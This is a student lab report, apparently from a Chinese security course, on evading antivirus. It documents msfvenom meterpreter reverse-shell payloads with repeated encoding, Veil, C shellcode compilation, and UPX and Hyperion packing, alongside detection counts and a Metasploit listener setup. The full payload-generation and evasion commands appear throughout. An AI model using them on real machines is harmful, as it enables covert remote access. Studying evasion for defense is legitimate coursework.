20232415 2025-2026-1 《网络与系统攻防技术》实验三实验报告

一、实验目的
1.利用msfvenom生成多种类型的文件及其多次编码版本
2.利用veil生成恶意代码
3.利用C语言结合shellcode生成恶意文件
4.利用upx压缩壳以及hyp加密壳技术实现免杀
5.开启杀软后回连实测
二、实验过程
接下来的免杀效果将基于virscan检测平台检测结果进行评价,网址为https://www.virscan.org。
052f2e7038a770c1253a6832be6f9440
主机IP:
172.16.240.137
虚拟机IP:
192.168.52.131
1.1构建评价基准
利用msfvenom直接生成一个后门程序,将其在virscan的检测结果作为评价基准

使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 PORT=2415 -f exe > black20232415.exe

ad4a2e17a14bbdd7193f0d8fc3e9f832

使用virscon检测,检测结果为:17/48,即在48个检测引擎中,有17个引擎认为该文件含有恶意代码。

1df7e7aa7e32a51afe19efcd593afd81

1.2使用Msfvenom编码
使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f exe > black20232415_2.exe

8cc2b26757b4587cb48c28fa7d3beb9c

生成一个Windows下的恶意文件并使用名为shikata_ga_nai的编码技术进行伪装。

06b543e5cb42ee48c2a4d60a6a99af67

使用virscon检测,检测结果为:14/48,即在48个检测引擎中,有14个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。

使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f exe > black20232415_3.exe
对文件进行10次编码

免杀检测结果为:
5eda2e880196ec1a1bfd6e00281ce735

即在48个检测引擎中,有12个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。

使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 x>black20232415.jar
生成jar文件和编码的jar文件

c9e416baad0f7c288d2737282ed1668c

免杀检测结果为:
caf5c03dcbfa618a4b34932c357db4e2

即在48个检测引擎中,有14个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。

使用命令:msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.52.131 LPORT=2415 x>black20232415_2.jar
对jar文件进行十次编码

58aa65f17eac5475b1493cd6b7015e03

免杀检测结果为:
8fde8e36df1a39a3a1dbe9da63e8da23

即在48个检测引擎中,有14个引擎认为该文件含有恶意代码。比基准结果少一点,认为有些许免杀效果,但效果不大。

使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 x> black20232415.php
生成php文件和编码的php文件

0ba03bd9a348cb19e5d71fce5572b471

免杀检测结果为:
16cbaeeaa663620a2b27e4623c99ee97

即在48个检测引擎中,有8个引擎认为该文件含有恶意代码。比基准结果少的多,效果比较明显。

使用命令:msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.52.131 LPORT=2415 x> black20232415_2.php
对php文件进行10次编码

免杀检测结果为:
49f9c6e8c2ad4ba8028f6c2ae6804b5d

即在48个检测引擎中,有3个引擎认为该文件含有恶意代码。比基准结果少很多,效果显著。

php恶意代码的动态执行、动态构造变量函数名等特性让恶意行为易隐藏。

1.3 使用veil免杀工具
准备环境:
下载安装veil

在交互界面中输入use 1打开Evasion躲避模块,生成能够免杀的恶意可执行文件。

f97a786e280e72a5ebc1b0879393a5e2

输入list查看所有可用的载荷种类

15dd9cd93f069be42fcf4ba5458a8ea2

输入use 7,生成一个用C语言编写的、Meterpreter类型的、使用反向TCP连接的Windows可执行文件

ad4dd74a8d98b81a27c4f0c772b901db

输入配置信息:
set LHOST 192.168.52.131
set LPORT 2415
generate
veil20232415

0fbdab29c744e9aad6a9eb061c223060

生成的可执行文件:

09ccb5fe5827dd3fcc44bda4e8a2ba32

免杀检测结果为:
c21a4b910287972756ebc00aaa2219a6

即在48个检测引擎中,有10个引擎认为该文件含有恶意代码。比基准结果少的多,有一定的免杀效果。veil通过模拟正常的编译流程,极大提高了恶意文件的免杀能力。

1.4使用C语言调用Shellcode

使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 -f c
将恶意代码嵌入到一个用C语言编写的程序中

741fc9f60537ce907dc4b880f5c6a96b

为上述生成的恶意代码增添一个main函数

b35fb2bf887e6f6cf2e719b9b4940f89

使用命令:i686-w64-mingw32-g++ black20232415.c -o black20232415.exe
将C文件编译为可执行文件

d720b40f9e0af270cf1d89b4e2819831

9f6333c7c3bbc85ac87bdad2ddcda3be

免杀检测结果为:
f64bcbe4134e693d2156c40ed9fab64f

即在48个检测引擎中,有8个引擎认为该文件含有恶意代码。比基准结果少的多,有一定的免杀效果。

1.5使用加壳工具

使用压缩壳UPX

使用命令:upx black20232415_c.exe -o black20232415_c_upx.exe
给shellcode加上一个upx压缩壳

63076f4cdb80413e4532f190a5c82b1a

免杀检测结果为:
5b3c6d166d24545cbfeb851c6bad08cc

即在48个检测引擎中,有7个引擎认为该文件含有恶意代码。比基准结果少的多,有较强的免杀效果。它通过加密和压缩,隐藏了恶意代码的某些特征

使用加密壳Hyperion

使用命令:
cp black20232415_c.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
将待加密的文件black20232415_c.exe复制到Hyperion工具所在的工作目录中,再将当前的工作目录切换到Hyperion所在的文件夹。

使用命令:wine hyperion.exe -v black20232415_c.exe black20232415_c_hyp.exe

cbf4337845d306ec77832f2452189456

免杀检测结果为:
9af18fe2e73ace20a63f617cf994fb3b

即在48个检测引擎中,有20个引擎认为该文件含有恶意代码。比基准结果还要多,免杀效果减弱了。可能是杀毒软件已经将使用Hyperion加密壳这种行为,学习为一种高风险的恶意行为模式。

4.6组合使用msfvenom工具与加壳技术

首先通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f c > 20232415_test.c生成一个经过10次多态编码的C语言格式的shellcode

cdf62818bb3751d181ea0d8f8c2d13e6

再向生成的文件中加入main函数

c9d8618358b76216b259b3669f66528b

通过命令:i686-w64-mingw32-g++ 20232415_test.c -o 20232415_test_c.exe将其编译为可执行文件

image

通过命令:upx 20232415_test_c.exe -o 20232415_test_c_upx.exe为其加upx压缩壳

image

通过命令:wine hyperion.exe -v 20232415_test_c_upx.exe 20232415_test_c_upx_hyp.exe为其加hyp加密壳

1e03efb4ff20306a0285df893659a201

免杀检测结果为:
ae981f5420683196663c0b1d81eeda29

即在48个检测引擎中,有19个引擎认为该文件含有恶意代码。比基准结果还要多,免杀效果减弱了。猜测应该是加密壳的特征被被杀毒软件所识别导致的。

4.7开启杀软回连实测

进入msf的控制台,配置监听处理器、载荷类型、IP地址与监听端口等相关信息
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.52.131
set LPORT 2415
exploit

Windows主机作为目标主机,在其上启动后门程序black20232415_c_upx.exe。发现启动瞬间就被火绒发现并卸载了

578441aae3d07c99d814bbc1e3499301

回连失败

三、问题及解决方案
问题一:
解决方法:

四、问题回答
(1)杀软是如何检测出恶意代码的?
杀软主要通过特征码检测、行为分析、启发式扫描三种机制检测恶意代码。
(2)免杀是做什么?
免杀通过对恶意代码进行技术处理,规避或绕过杀毒软件的检测与拦截,使恶意代码能够在目标系统中正常运行并完成预期恶意行为。
(3)免杀的基本方法有哪些?
免杀的基本方法主要包括通过编码器修改特征码、用压缩壳或加密壳隐藏原始代码、利用非主流平台或编程语言重新生成代码,以及组合多种技术多层隐藏恶意属性。
五、思想感悟
本次实验我学习并实践了使用msfvenom、veil、加壳工具进行免杀的技术手段,通过这次实验,我对于免杀技术的原理和技术有了初步的了解。
尽管隐藏恶意代码的手段有很多,但现代杀毒软件仍能有效的将其识别出来,这说明杀毒软件仍是保护我们的一种重要且有效的手段。同时,在任务六中,尽管我使用了多种免杀手段,但效果仍然不如使用某些单一的免杀方式,这说明免杀程序并非越复杂越好,需要具体使用某些合适的免杀手段的组合来实现免杀的目的。

posted @ 2025-10-27 17:46  20232415孙鸿淼  阅读(0)  评论(0)    收藏  举报